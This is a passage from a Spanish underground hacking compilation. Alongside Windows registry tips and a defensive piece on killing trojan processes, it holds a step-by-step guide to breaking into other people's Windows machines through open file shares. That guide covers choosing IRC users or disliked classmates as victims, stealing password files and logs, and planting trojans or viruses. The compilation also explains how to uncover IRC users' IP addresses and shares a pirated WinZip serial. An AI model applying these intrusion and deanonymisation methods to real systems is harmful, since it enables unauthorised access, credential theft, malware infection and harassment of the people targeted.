ellos, dando al menú contextual y eligiendo "Combinar" o abriendo el Regedit.exe y pulsando en el menú "Registro" à "Importar archivo del registro" la información que el *.reg contiene se introducirá en nuestro registro. ¿? Cómo modificar el registro mediante una aplicación (para programadores). Antes de meter información al registro una aplicación debe abrir o crear una "Subkey" apoyándose en las "Keys" predefinidas, los proggies usan las funciones RegOpenKey o RegOpenKeyEx para abrir una "Key" o "Subkey" y las funciones RegCreateKey o RegCreateKeyEx para crear una "Subkey". Una apliación puede usar la función RegCloseKey para cerrar una "Subkey" y escribir los datos en el registro, el proceso de escribir los datos puede no ser inmediato y los datos pueden estar en caché unos segundo antes de ser volcados al disco duro, para un volcado

Page 32: El Libro Negro Del Hacker2

32

inmediato se usa la función RegFlushKey, lo malo es que esta función chupa muchos recursos y debe ser usada sólo en caso de que sea absolutamente necesario. Para escribir los datos de un "Value" dentro de una "Sub/Key" una aplicación puede usar las funciones RegSetValue o RegSetValueEx, la primera de las funciones sólo trabaja con cadenas ("Values" de tipo REG_SZ), la segunda por el contrario puede escribir "Values" con cualquier tipo de datos. Estas dos funciones pueden crear una "Subkey" y su o sus "Values" al mismo tiempo. Para borrar un "Value" de una "Sub/Key" usamos la función RegDeleteValue, para borrar una "Sub/Key" usamos la función RegDeleteKey, no se pueden introducir "Values" o "Subkeys" dentro de una "Key" borrada como es lógico... Para cambiar la información sobre la seguridad de una "Sub/Key" podemos usar la función RegSetKeySecurity. ¿? Obtener información del registro manualmente. Sencillito sencillito, basta con darse un rutecillo por el registro con el Regedit.exe y ver qué es lo que tenemos en cada rama, como darse una vueta por algún ftpwarez con el CuteFtp. Una buena cosa que nos permite el Regedit es "exportar archivo del registro" (menú registro), gracias a esta opción podemos coger cualquier rama de nuestro registro, pasarla a un archivo *.reg y compartir esta ramita con nuestros compis, esto de la exportación es muy interesante sobre todo si te das una vuelta por las "Subkeys" de Software y compartes tus registered con los demás, vamos a ver un ejemplito y así comparto algo con vosotros...que amar es compartir.... 1 Abrimos el Regedit.exe y nos colocamos en la rama del registro que queremos enficherar. 2 En el menú de Registro, Exportar archivo del Registro. 3 Se nos abre una ventanita de esas de Save As, en ella elegimos dónde y con qué nombre vamos a guardar nuestra ramita, además en la parte inferior de la ventana tenemos la opción "Rango de Exportación", si elegimos "Todo" haremos una copia de todo el registro, en cambio si elegimos rama seleccionada pues eso, copiamos sólo la rama que queremos copiar. 4 Ya está todo guardadito, ahora vamos a ver qué coño tiene el *.reg, estos archivos son modificables mediante cualquier editor de textos (notepad p.ej.). Aquí tenéis un ejemplo de lo que se ve al hacer esto, seguro que os sirve de algo ;P REGEDIT4

Page 33: El Libro Negro Del Hacker2

33

[HKEY_CURRENT_USER\Software\Nico Mak Computing\WinZip\WinIni] "win32_version"="7.0" "Name"="karlitoxZ (PNK)" "SN"="EA461EF8" Por si hay algún despistado esto es el registro del Winzip 7.0... ¿? Obtener información del registro mediante una aplicación (para programadores) Una aplicación para coger información del registro va recorriendo todas las "Subkeys" de una "Key" hasta que encuentra la que busca y recoge los datos del "Value" o de los "Values" asociados al primero. Una aplicación puede usar las funciones RegEnumKey o RegEnumKeyEx para enumerar las "Subkeys" de una "Key" determinada, la primera función nos devuelve sólo la "Subkey" mientras que la segunda nos devuelve también sus componentes. Para obtener datos concretos de una "Key" determinada recurrimos a la función RegQueryInfoKey. Con la función RegGetKeySecurity obtendremos una descripción de las características de seguridad de esa clave. La función RegEnumValue nos sirve para enumerar los "Values" de una "Key" dada y las funciones RegQueryValue y RegQueryValueEx nos darán el contenido del "Value" de una "Key" determinada. RegEnumValue es llamada para determinar los nombres de los "Values" y RegQueryValueEx para obtener los datos contenidos en los "Values" de nombre sacado con RegQueryValue. Cuando una aplicación guarda parte de la información del registro en un archivo separado de éste nos encontramos con el problema de cargar esta información desde el registro cuando sea necesario, para este proceso nos encontramos con RegSaveKey que nos permite guardar una "Key" con sus "Subkeys" y "Values" en un archivo *.reg y con las funciones RegLoadKey para pasar el contenido del archivo *.reg al registro (RegUnLoadKey nos sirve para devolver el registro al estado anterior al RegLoadKey), RegReplaceKey que modifica una rama del registro según defina el archivo *.reg y RegRestoreKey que devuelve a una rama del registro los valores que determina el fichero *.reg.

Page 34: El Libro Negro Del Hacker2

34

Poca cosa más sobre este tema, para hacer esto más tragable he omitido las estructuras de cada una de las funciones, si para alguien son de interés y no tiene posibilidad de obtenerlas que me emaile y se las envío ASAP. ¿? Algunos detallitos de windown modificables gracias al registro.. Aquí tenéis unos cuantos trukillos para que esto funcione mejor o debería decir que funcione menos mal? Y algunas tonterías que por lo menos a mi hacen que algunas cosas de w95 me molesten un poquito menos... 1- Mejor rendimiento del disco duro: esto arregla un BUG de la primera versión de w95, vamos a la clave HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Fstemplates\Server, aparecen dos Values cuyos datos están al revés, debemos poner en NameCache 40 00 00 00 y en PathCache a9 0a 00 00, en versiones de w95 superiores a la OSR2 los valores están bien puestos, no hay que cambiarlos pero para que el tema funcione y nuestro HD vaya algo más rápido debemos por último ir a Panel de Control à Sistema à Rendimiento à Sistema de Archivos à Disco Duro y allí tenemos que poner función típica "Servidor de Red" y optimización avanzada "Completa". 2- Eliminar elementos del menú ejecutar: Ejecuta el Regedit y ve a la rama Mipc\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 3. Abre esta última carpeta y ya puedes eliminar los elementos que no quieras de la lista de la derecha. Aviso! no toques el primer elemento de la lista. Reinicia el equipo. 3- Refresco de ventanas automático: Ejecuta Regedit y ve a la rama HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Update, ahora pulsas el botón derecho y eliges Modificar, cambiar el valor 01 por el de 00 y reiniciar el equipo. 4- Eliminar iconos "imposibles" de eliminar: Ejecuta el regedit y acércate a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current\Version\Explorer\Desktop\Name\Space, borras lo que te sobre y reinicias. 5- Quitar la animación de las ventanas: esto nos ahorrará un poquito de RAM, vamos a HKEY_CURRENT_USER\Control Panel\Desktop\WindowsMetrics. Creamos un nuevo "Value" de nombre MinAnimate, siendo su valor cero. 6- Aumentar la velocidad de los menús desplegables: vamos a la rama HKEY_CURRENT_USER\Desktop, creamos un "Value" de nombre MenuShowDelay y le otorgamos un valor entre 0-10, un 7 es bastante bueno pero tu verás. Y como estos nos podemos encontrar con 1000 trucos relacionados con el registro, con estos ya vale como ejemplito, yo me quedo con el del HD y la animación de las ventanas... AgRaDeCiMiEnToS y EtZs:

Page 35: El Libro Negro Del Hacker2

35

Este texto es un "remix" de un montón de libracos que he encontrado tirados por la red de redes y de articulillos sacados de mi colección de revistas, como está claro a estas alturas no voy a descubrir nada nuevo sobre este tema pues todo está dicho ya pero creo que era necesario un manual completo y en castellano con miras sobre todo a la ingeniería inversa y a la programación. Como nadie es perfecto seguro que en este texto por mucho que lo haya revisado habrá un montón de errores, os agradecería me los hicierais llegar vía email para poder corregirlos... Principalmente me he basado en la Win32 Programmer´s Reference y en el fantástico texto sobre este tema que leí en "MaMMon´S" del que no dudé en copiar cuando me quedé en blanco ;P http://www.cybercity.hko.net/SanFrancisco/mammon y que está sacado de "The W95Registry" de John Woram (copión que copia a copión tiene 100 años de perdón ;P) y en un montón de webs sobre windown95 donde la gente enseña lo poco que sabe y lo mucho que cree saber... Agradecimientos pues lo de siempre... A los miembros del proyekto como siempre su compañía y ayuda... Y esta vez y para variar pues a CaR19 sus clases "personalizadas" de hacking ;P y a +MaLaTTia toda la ayuda que en su momento me prestó en este largo camino de convertirme en +karlitoxZ ¡¡mile gracie bambino!! ;P +karlitoxZ Mail : [email protected] +karlitoxZ irc = IRChispano - EFNet -> KarlitoxZ +karlitoxZ web : http://pagina.de/proyektonakarko -------------------------------------------------------------------------------- 6 -Recomendaciones Una buena recomendación sería que estudiaras lo básico más a fondo de ensamblador con 29A o Aesoft y/o La universidad de Guadalajara, también te recomendaría (si eres asiduo a algo de programación) a darle un buen vistazo a este curso de Pascal (también por la universidad de Guadalajara), ya que con estos cursos, vamos a tener aunque sea que aprender a programar (lo básico) en varios lenguajes. Y te recomiendo aprender a programar primero en este sencillo lenguaje de programación por Borland 7 -¿Dónde puedo encontrar más información acerca de la ingeniería inversa?

Page 36: El Libro Negro Del Hacker2

36

Un muy buen lugar para encontrar mucha información es el sitio de FRAVIA, y dos sitios mu'buena onda son Crackstore.com (Por lo que me dijo el Webmaster de Crackstore, vuelve en septiembre con un servidor más rápido) y WkT!. 8 -Mis palabras finales Ojalá que este curso les haya sido de agrado, pues me averguenzo de los otros cursos que hice. Les mando saludos de mi parte a las siguientes personas : WkT!, evangelion, Hot Byte, SYSmooh, +karlitoxZ, +ORC, +Fravia, tKC, DiabloDX, Soraya (Que mujer!!), Razzia, DMA-48, y sobre todo al todopoderoso gigantesco SIGRID (esperamos que algún día escribas un tutorial para senseñar todo lo que me has enseñado!). Sin mencionar a mi mejor amigo Enrique Palacios. y A J. Hernandez. (Esperamos tu página!), y a Saiya (Sigue jugando con tu PSI! vas bien!), Maureen, Anarquia, ¡ceMaN. En general dos cosas acerca de mí: Me gusta ayudar, pero no exagero. Soy un puto loco traumado de la cabeza paranoico hasta los huesos. SE lo que piensas, así que mueve tu tras-0 y manda un mail con preguntas (solo para ayudar a la labor, no aceptaré hazme cracks ni tipos así) o con mis posibles errores, ya que cualquier cosa que no se entienda y me manden un mail, los ayudaré cambiando este curso y agregando temas .., si quieres ejercitar un ejemplo claro de la teoría de este curso es el programa Quick Install Maker 3.0 y puedes encontrarlo en http://www.marchale.com o el famoso Help Pad. Ejercita esto. Cualquier probleMilla visitA el hueco de Nuestra págInA Cool Por el web ubiCada en : http://kut.tsx.org, y si tienes suerte la verás (si es que estos putos gringos no me la quitan de nuevo por 9 vez!!). Por último, les regalo un truquillo que me regalo este chato mu'buena onda y que realmente admito que no sabía -En las propiedades del módem, en 'configuración del puerto',pon 'avanzadas', y en donde dice configuración extra agrega esto : 'S11=50' y quizás le darás un marcado 'UltraRápido' a tu acceso telefónico a redes. Maniac Pc [email protected] Kr@cKerZ United Team 99 [email protected]

Page 37: El Libro Negro Del Hacker2

37

El siguiente es un texto orientado a los administradores de red

Agujeros de seguridad físicos

Cuando el problema potencial, es debido al hecho de dar a personas, sin autorización, acceso físico a la máquina, siempre que esto les permita realizar cosas que no deberían

ser capaces de hacer.

Un buen ejemplo podría ser una sala pública, con estaciones de trabajo, donde sería facilísimo reinicializar una máquina en modo mono-usuario y trastear con los

archivos de la estación de trabajo, si no se hubieran tomado precauciones.

Otro ejemplo sería la necesidad de restringir el acceso a cintas backup confidenciales, que de otro modo podrían ser leídas por cualquier usuario que disponga de una

unidad lectora, independientemente de que tenga o no permiso.

Agujeros de Seguridad en el Software.

Es cuando el problema está causado por una mala escritura de partes "privilegiadas" de software (daemons, cronjobs) que pueden estar comprometidos a realizar tareas

que no deberían.

El ejemplo mas famoso sería el bug del sendmail que podía permitir a un cracker pillar una shell root, pudiéndolo utilizar para borrar archivos, crear nuevas cuentas,

copiar el fichero de passwords..... cualquier cosa.

Page 38: El Libro Negro Del Hacker2

38

Nota: Contrariamente a lo que la gente piensa, los ataques vía sendmail no estaban sólo restringidos al infame "Gusano de Internet" (Internet Worm) - cualquier cracker

podía hacer esto Telneteando al puerto 25 de la víctima.

Nuevos agujeros como este aparecen todos los días, los mejores métodos para prevenirlos son:

Tratar de estructurar el sistema de forma que el menor software posible con

privilegios root/daemon/bin corra en la máquina, y que el que lo haga sea robusto con toda seguridad.

Suscribirse a listas de correo para poder tener lo antes posible información con detalles acerca de problemas y/o parches, y actuar en cuanto esté disponible.

Cuando se instala/actualiza un sistema, tratar de instalar/habilitar solo aquellos paquetes de software cuya necesidad sea inmediata o previsible. Muchos paquetes

incluyen daemons o utilidades que pueden revelar información a extraños. Por ejemplo, el paquete de contabilidad del Unix System V de AT&T incluye acctcom(1),

que podría permitir (por omisión) a cualquier usuario el revisar los datos de las cuentas diarias de cualquier otro usuario. Muchos paquetes TCP/IP instalan/cargan

automáticamente programas tales como rwhod, fingerd, y (ocasionalmente) tftpd, pudiendo todos ellos presentar problemas de seguridad.

Una administración cuidadosa del sistema es la solución. Muchos de estos programas son inicializados/iniciados en el arranque; sería deseable cambiar los scripts de

arranque (normalmente en los directorios /etc, /etc/rc, /etc/rcX.d) para prevenir su ejecución y eliminar algunas utilidades que no se vayan a utilizar, bastando (en

algunos casos) un simple chmod(1) puede prevenir el acceso de usuarios no autorizados

Resumiendo, no confíes en los scripts/programas de instalación! Tales utilidades tienden a instalar/cargar todo lo que hay en el paquete sin pedir confirmación.

Muchos manuales de instalación incluyen listas de "los programas incluidos en este paquete"; asegúrate de revisarlo.

Agujeros de Seguridad por Incompatibilidades.

Se da cuando, por falta de experiencia, o por descuido, el administrador del sistema hace funcionar software sobre un hardware para el que no está optimizado, dando

lugar a posibles resultados inesperado y fallos que pueden dañar seriamente la seguridad del sistema. Es la incompatibilidad entre software y hardware la que crea

agujeros de seguridad.

Problemas como este son muy difíciles de encontrar una vez que el sistema esta montado y funcionando, de manera que es muy conveniente el leer atentamente la

documentación del software y del hardware que se va a montar (o que pretendemos atacar) y estar muy atento a cualquier noticia o actualización.

Elección y Mantenimiento de Filosofía de Seguridad

Page 39: El Libro Negro Del Hacker2

39

El cuarto problema de seguridad es el de la percepción y el entendimiento. Software perfecto, hardware protegido, y componentes compatibles no funcionan a menos que se haya elegido una política de seguridad correcta y que se hayan puesto en marcha

las partes del sistema que la refuerzan.

Tener el mejor mecanismo de password del mundo es inútil si los usuarios creen que la última parte del nombre de su login es un buen password! La seguridad esta

relacionada con una política (o conjunto de políticas/normas) y el funcionamiento del sistema conforme a dicha política.

CÓMO ENTRAR EN UNA MÁQUINA WINDOWS CON RECURSOS COMPARTIDOS by DarkAngel Este hack no se basa en un fallo del windows ni nada parecido. Algunos usuarios tienes redes de trabajo, se reunen para jugar a quake, cambiar fotos porno... ese tipo de cosas, y comparten recursos y no ponen passwords. Si encontramos a uno de estos individuos... le podemos joder lo que queramos o la mayoría de las veces, sacar passwords y archivos importantes (o juegos o fotos porno o...). En esta mini-guía se explican los pasos a seguir para hackear una máquina con recursos compartidos en windows. 1. Fijar blanco Necesitamos una IP, si no tenemos un objetivo pensado (como podría ser: el hijoputa de la clase, el profe de mates, el ordenata del director...) puedes entrar en el irc y buscar gente por ahí. Una buena sugerencia es la de elegir a alguien de un canal en el que te gustaría tener op, alguien que te ha jodido y le quieres quitar el nick si lo ha registrado, o simplemente necesitas a alguien para probar y... lo siento chico, te ha tocado a ti xDDD (y eliges uno cualquiera en el canal o si usas mIRC puedes poner: Para saber la gente que hay en un canal sin entrar en el: /names #canal Para pillar una IP aleatoria del canal en el que estamos: //dns $nick(#,$rand(1,$nick(#,0))) Si quieres pillar la IP de un nick que ya sabes pones: /dns nick (nick es el nick del que quieres averiguar la IP)

Entonces ocurrirá algo como esto en el status: *** Looking up ctv21225141110.ctv.es *** Resolved ctv21225141110.ctv.es to 212.25.141.110 Tenemos la IP, que en este caso es 212.25.141.110, podemos pasar al siguiente paso. 2. Averiguar el nombre de la máquina objetivo

Para poder entrar primero necesitamos saber cuál es el nombre de la máquina, para ello usaremos el programa nbtstat con el parámetro –A, que sirve para pillar la tabla de nombres

de la máquina objetivo a partir de la IP. Este comando se usa así: ‘nbtstat –A 123.123.123.123’. Podemos ejecutarlo desde un prompt del DOS, desde Inicio-Ejecutar o

desde mIRC con el comando: /run nbtstat –A DirecciónIP

Page 40: El Libro Negro Del Hacker2

40

Una sugerencia para mIRC es escribir éstas líneas en los remotes: On 1:Dns: {

echo $iaddress clipboard $iaddress

run nbtstat –A $iaddress }

Y cuando hagas un dns te hará el nbtstat automaticamente. (se nota que soy scripter)

He ejecutado el nbtstat con fliper (víctima): nbtstat –A 212.25.141.110 y me ha respondido algo así:

Host not found. Lo que quiere decir que o no tiene el netbios activo, o no usa windows o no se encuentra

nada en esa IP (puede que se haya desconectado, que la hayas escrito mal...), o sea, Paso1 y a buscarse otra víctima.

Repetimos, ya tengo otra víctima y ejecuto el comando ‘nbtstat –A IPdelavíctima’ Esta vez ha contestado algo como:

NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- SUSO <00> UNIQUE Registered SUSOHACKER <00> GROUP Registered SUSO <03> UNIQUE Registered MAC Address = 44-45-53-54-00-00

Ahora sabemos que el nombre de la máquina es SUSO (primera entrada <00>), que el nombre del grupo es SUSOHACKER.

El nombre de la máquina es el primer UNIQUE de la tabla, y los grupos que hay son reconocidos fácilmente por GROUP.

Pero antes de qué empieces a dar saltos de alegría por haber encontrado un objetivo válido, he de decirte que este no nos vale (que malo soy... xDDDDDD). Para que el objetivo valga

(o sea que haya posibilidades de entrar en él) tiene que haber por al menos una entrada <20>, y en este caso no la hay.

Repetimos Paso1, hacemos el ‘nbtstat –A Ipvíctima’ y encontramos un individuo con una entrada <20>:

NetBIOS Remote Machine Name Table

Name Type Status ---------------------------------------------

SANTI <00> UNIQUE Registered CORBA <00> GROUP Registered SANTI <03> UNIQUE Registered SANTI <20> UNIQUE Registered

CORBA <1E> GROUP Registered

MAC Address = 44-45-53-54-00-00

Page 41: El Libro Negro Del Hacker2

41

Este individuo tiene una entrada <20> y es la que nos vale, tenemos el nombre de su máquina qué es SANTI, recuerda que es el primer UNIQUE. Podemos pasar al Paso3. El que os haya puesto víctimas que no valían era para que vierais los resultados más cómunes antes de pasar a la acción, y si no te sale a la primera, saldrá a la segunda.

También decirte que tienes que tener en la conexión que estés usando en propiedades la casilla de NetBEUI y Conectarse a la red activadas, luego ve al Panel de Control y en

Red, comprueba que tienes Compartir impresoras y archivos activados.

3. Añadiendole a nuestra lista de hosts Abrimos el archivo C:\WINDOWS\lmhosts (no confundir con lmhosts.sam, que es un

ejemplo (sam de sample)) y escribimos (con el bloc de notas, no me seas burro) en la ultima línea (qué puede ser la primera si acabamos de crear el archivo xD, quiero decir que

podemos tener varios ordenatas metidos en la lista): ‘123.123.123.123 NOMBRE’

Ésta es una parte de mi lmhosts para que os hagais una idea: 212.25.137.75 LINUX

152.71.32.128 BLEIS239 147.156.122.7 BLANC 194.224.88.221 JOSU

147.83.4.168 ANT Y lo guardais. Ahora lo más importante, que en todos los textos que había leído sobre ésto

antes de conseguir hacerlo no lo nombraban (lo que me hace suponer que se habrían limitado a copiárselo de otro y no lo habían hecho nunca)

Decirle al NetBIOS que actualice la lista, que añada el nuevo host. Esto es así: ‘nbtstat –R’ y responderá:

Successful purge and preload of the NBT Remote Cache Name Table. Lo ejecutais donde querais. En Inicio, mIRC, DOS...

Añadido a la lista y pasamos al Paso4.

4. Qué comparte y como entrar Usamos el comando net view para ver lo que comparte:

‘net view \\ANT’ Saldrá algo así:

Recursos compartidos \\ZEUS

Compartido Tipo Comentario

--------------------------------------- CDROM Disco C Disco

PRINTER1 Impresora El comando ha sido ejecutado con éxito.

También podemos hacer Inicio-Buscar-PC... \\ZEUS

Page 42: El Libro Negro Del Hacker2

42

Luego desde DOS podemos hacer DIR \\ZEUS para ver los archivos, o en ejecutar \\ZEUS y se abrirá una ventana con lo que tiene compartido. Ahora le podemos copiar archivos,

leer archivos y tal como si estuvieran en nuestro ordenata (irá muuuy lento, no os desespereis).

5. Estamos dentro, qué hacer?

Archivos para pillar: - System.ini: no es otra cosa sino que el archivo de configuración de Windows. No ocupa

demasiado así que es de lo primero que debemos coger. Si lo abrimos con el bloc de notas y vamos a la sección [Password Lists] nos dirá los logins y las listas de passwords para los usuarios del ordenata. Nos aportará mucha información importante.

- *.PWL: son los archivos de PassWord List, arriba se indica como cogerlos nos darán algunos password de los usuarios.

- Otros ficheros de passwd: Si vemos algún programa como el cuteFTP podemos cogerle los archivos de passwords que se guardan en el disco duro. Ej: users.dat

- Logs: si algún usuario conecta al irc, que si hemos pillado su IP en el IRC será porque conecta, puede que esté guardando logs. Busca logs con el nombre de bots como: NiCK.log, CHaN.log, etc. Si es admin de un canal o está registrado, o queremos pillarle el nick estos son los archivos que nos ayudarán.

- Malos usos: También podemos robar fotos porno, leer ficheros confidenciales, pringar mp3... Pero seguro que todo lo anterior tampoco era bueno XDD

Si por suerte tenemos acceso total: Si por alguna casualidad de la vida tenemos acceso total:

- Troyanos: le podemos meter troyanos, simplemente lo subimos y se lo añadimos al autoexec.bat por ejemplo, la próxima vez que reinicié se le instalará. Tiene el inconveniente de que si le queremos meter el NetBUS o el BO o lo que sea no se le instalará en el momento. AH!!!! Ni se os ocurra intentar instalarselo desde vuestro ordenador, a lo mejor os pensais que haciendo 2click en el icono se le instalará, y lo que estarás haciendo es traerlo a vuestro ordenador y ejecutandolos en el vuestro.

- Viruses: como antes los troyanos le puedes meter cualquier virus que se te ocurra, también puedes reemplazarle algún fichero que vaya a usar por el virus para joder más, como renombrarlo a command.com. Si entiendes un poquito más le puedes coger algún programa y en ensamblador meterle algunas instrucciones más. O con el resource workshop cambiarle el icono, las propiedades del fichero... y hacerle creer que se trata de otro programa! XD

- Todos contra la pornografía infantil: si te encuentras con un directorio lleno de fotos chungas desas, puedes bajartelas (si eres un pederasta, pedófilo, infanticida...) o puedes borrarlas todas...

- Ser cabrón: borra todo lo que se te ocurra o te de tiempo, modifica los programas con un HexEditor y con cortar un cachito ya quedará inservible el fichero. Este uso es un pelín... cracker-lamer y siempre que hagas cosas de estas procura no dejarte nada dentro.

Page 43: El Libro Negro Del Hacker2

43

- Firmar: si no has hecho nada malo puedes dejarle un txt en el escritorio con tu nick, fecha, hora y si eres bueno y honrado “hasta” puedes decirle que ponga passwords o no comparta nada.

- Deja volar la imaginación: todo tipo de programas y acciones dependiendo de cuál sea tu objetivo.

Esto se ha acabado y creo que con eso estarás entretenido unas horitas... A ver si os animais y escribís sobre cosas que sepais que siempre le será útil a alguien por muy malo que seas. Podeis encontrarme por el irc-hispano con el nick de DarkAngel en los canales #100scripts

y #hack, pero mejor me pones en la notify porque es muy probable que esté por ahí trapichando.

by DarkAngel ©

Como sacar IPs en el

IRCX By Ark

Este texto explica detalladamente como sacar el Host de un usuario en el IRCX sin ser Operador de un canal. Requiere de un poco de tiempo y esfuerzo. Vamos al grano. Supongamos que queremos sacar el Host de alguien de nick "Mitnick", y su ISP le da una IP de 10 caracteres, por ejemplo: host625901.isp.com lo que haremos es esto. en la ventana de Status del mIRC o de cualquier programa, ponemos el comando: /who mitnick*!*@host??????.isp.com En este comando, podemos apreciar que hacemos un WHO a alguien de nick "Mitnick", y con un Host que empieze con host, ya que el isp donde se encuentra, todos los Ip empiezan con Host. (Ojo, quisas no todos los Isp empiezan con host, ustedes ajustaran eso depende del Host de la victima) y que siga con caracteres que no conocemos, (ya que estan con las xxxxxx).Reemplazamos las x por Los "?", que sirven para reemplazar un caracter, o sea, un numero de su IP. De esa forma cuando ejecutemos ese comando, nos aparecera el nick de Mitnick, pero aun con el host: xxxxxxxxxx.isp.com. Ahora, para descubrir su Ip entera, debemos probar distintos numeros que posiblemente formen su Host, algo asi: /who mitnick*!*@host1??????.isp.com mitnick* End of /WHO list Si aparece esto, quiere decir que el "1", no es el primer numero de su Host. Entonces probamos otro numero. /who mitnick*!*@host0?????.isp.com

Page 44: El Libro Negro Del Hacker2

44

#hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list En cambio, cuando cambiamos el "1" por el "0", si aparece esto, quiere decir que el "0" es el primero numero de su Host. Luego seguimos haciendo lo mismo con todos los "?". /who mitnick*!*@host01????.isp.com #hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list /who mitnick*!*@host013???.isp.com #hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list /who mitnick*!*@host0138??.isp.com #hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list /who mitnick*!*@host01380?.isp.com #hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list /who mitnick*!*@host013801.isp.com #hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list Aqui vemos que fuimos probando numeros al azar y al "embocar" todos, sacamos su Host completo. Luego haciendo /dns host013801.isp.com *** Resolved host013801.isp.com to 200.42.28.71 Sacamos su IP. Lo que hicimos fue hacer un WHO a su nick y cambiar los signos de pregunta uno por uno (que reemplazan un caracter, en este caso, el numero de su IP) con diferentes numeros posibles que formen su IP. De esa forma vamos a averiguar su Host sin necesidad de ser operador.

Page 45: El Libro Negro Del Hacker2

45

Contact Ark At: [email protected] Ark HomePage: Http://members.xoom.com/ark4

En esta página vamos a hablar de Mataprocesos

Este pequeño programa, (hecho cuando comenzó el furor del Back Orifice) se llama "MataProcesos" y es una pequeña utilidad que cumple la función que debería estar incluída en la ventana de CTRL-ALT-DEL. Curiosamente esta utilidad tan "pequeña" (ocupa 40 Kb y cumple una tarea muy sencilla) nos será de enorme ayuda con el tema de la seguridad.

Cuando uno ejecuta el MataProcesos un icono (una señal de STOP) se coloca en la barra de tareas. si queremos cerrar un programa rapidamente (alguno que se colgó, o de esos que no aparecen en el CTR-ALT-DEL, como por ejemplo UN BACKDOOR como el patch del NetBus, si es que algun "vivo" nos lo metió) haremos doble click en el STOP y se abrirá una ventana con un listado de todos los procesos reales que se están ejecutando en el momento, listados por nombre de archivo ejecutable.

Para cerrar (matar) un proceso, basta con hacer doble click en el item de la lista que lo representa, y responder que SI a la pregunta que MataProcesos nos hace cuando pide la confirmación.

Notemos que dije que con MataProcesos podemos matar a "todos los procesos", lo cual incluye también a los procesos vitales del Windows, por lo que la primera vez, por falta de experiencia, podriamos "matar" al Windows mismo, obligándonos a reiniciar el ordenador.

Este programa es útil, por ejemplo, si estamos siendo víctima de un troyano, es decir, alguien nos está "molestando", mostrando mensajes extraños en nuestra pantalla sin nuestra autorización, mostrandonos imágenes y abriendo y cerrando la bandeja de nuestro CD-ROM...

Usando el MataProcesos para sacarnos de un apuro

En ese caso, estamos frente a un auténtico "Lamer" (que vendría a ser algo así como un tonto que quiere ser Hacker y utiliza programas como el NetBus, Back Orifice, Sub Seven, Donald Dick o NetSphere para asustar o abusarse de los que no saben). ¿Cómo llegó hasta aquí este individuo? El, u otro similar a él, nos pasó un archivo EXE o SCR haciendonos creer que se trataba de algo muy interesante, y cuando (incautos) lo ejecutamos...

Page 46: El Libro Negro Del Hacker2

46

probablemente no pasó nada, o algo no muy interesante que digamos... Pero en realidad lo que ocurrió fué que acabamos de instalar un "control remoto" para que este "Lamer" pueda controlar nuestro sistema a su antojo. Fuimos vilmente engañados. Ejecutamos, sin saberlo, un troyano.

Tenemos que apurarnos a quitarnoslo de encima, porque por el momento también tiene acceso a nuestros archivos, para robarlos o borrarlos.

El modo de usar el MataProcesos en este caso sería simplemente seleccionar el proceso adecuado (el del troyano) y terminarlo.

Cómo reconocemos al troyano? Bueno, suponiendo que la lista que MataProcesos nos muestra es la siguiente:

C:\WINDOWS\SYSTEM\KERNEL32.DLL C:\WINDOWS\SYSTEM\MSGSVR32.EXE C:\WINDOWS\SYSTEM\mmtask.tsk C:\WINDOWS\EXPLORER.EXE C:\WINDOWS\TASKMON.EXE C:\WINDOWS\SYSTEM\SYSTRAY.EXE C:\WINDOWS\PATCH.EXE C:\WINDOWS\WINDOW.EXE C:\WINDOWS\SYSTEM\ .EXE C:\WINDOWS\SYSTEM\NSSX.EXE C:\WINDOWS\RNAAPP.EXE C:\WINDOWS\TAPISVR.EXE C:\ARCHIVOS DE PROGRAMA\ICQ\ICQ.EXE C:\ARCHIVOS DE PROGRAMA\OUTLOOK EXPRESS\MSIMN.EXE C:\ARCHIVOS DE PROGRAMA\MATAPROCESOS\MATAPROCESOS.EXE

En este caso nos encontramos con un ordenador LLENO DE TROYANOS, es decir, su seguridad ha sido totalmente violada. ¿Cómo nos damos cuenta de eso?

Hace falta estar acostumbrado al MataProcesos, en otras palabras, saber el proceso que cada archivo está ejecutando.

Si tenemos en cuenta que es muy dificil que un troyano se instale en otro lado que no sea los directorios WINDOWS o SYSTEM, ya descartamos tres posibilidades (las tres últimas, pero es más seguro descartarlas cuando conocemos la función de cada una de ellas), veamos:

C:\ARCHIVOS DE PROGRAMA\ICQ\ICQ.EXE

es ni más ni menos que el ICQ, si lo matamos, se nos cierra el ICQ.

C:\ARCHIVOS DE PROGRAMA\OUTLOOK EXPRESS\MSIMN.EXE

Page 47: El Libro Negro Del Hacker2

47

se trata, como se podrán imaginar, del Outlook Express.

C:\ARCHIVOS DE PROGRAMA\MATAPROCESOS\MATAPROCESOS.EXE

este es tanto o más obvio que los anteriores, nosotros mismos acabamos de ejecutarlo.

También hay que conocer otros procesos comunes de Windows, ¿y cómo lo hacemos? si se trata de algunos de los que ya nombré, yo mismo voy a presentarselos, pero si son otros que no se mustran aquí, probablemente con el método de "prueba y error".

Veamos:

C:\WINDOWS\SYSTEM\KERNEL32.DLL

Este es el "corazón" del Windows, si lo cerramos, tendremos que reiniciar.

C:\WINDOWS\SYSTEM\MSGSVR32.EXE

Este es una utilidad interna, si la cerramos el sistema probablemente pierda estabilidad.

C:\WINDOWS\SYSTEM\mmtask.tsk

Cerrar este es imposible. Siempre vuelve a aparecer. Tiene que ver con las tareas multimedia que el Windows realiza.

C:\WINDOWS\EXPLORER.EXE

Se trata del explorador. Gestiona tanto al Internet Explorer como al Windows Explorer. También gestiona la barra de tareas. Si lo cerramos se nos cierran estas tres cosas. (Generalmente se vuelve a ejecutar automáticamente)

C:\WINDOWS\TASKMON.EXE

Es el monitor de tareas de Windows. Si lo cerramos aparentemente no ocurre nada, pero no recomiendo cerrar procesos sin saber exactamente qué función cumplen, a menos que no nos moleste vernos obligados a reiniciar...

C:\WINDOWS\SYSTEM\SYSTRAY.EXE

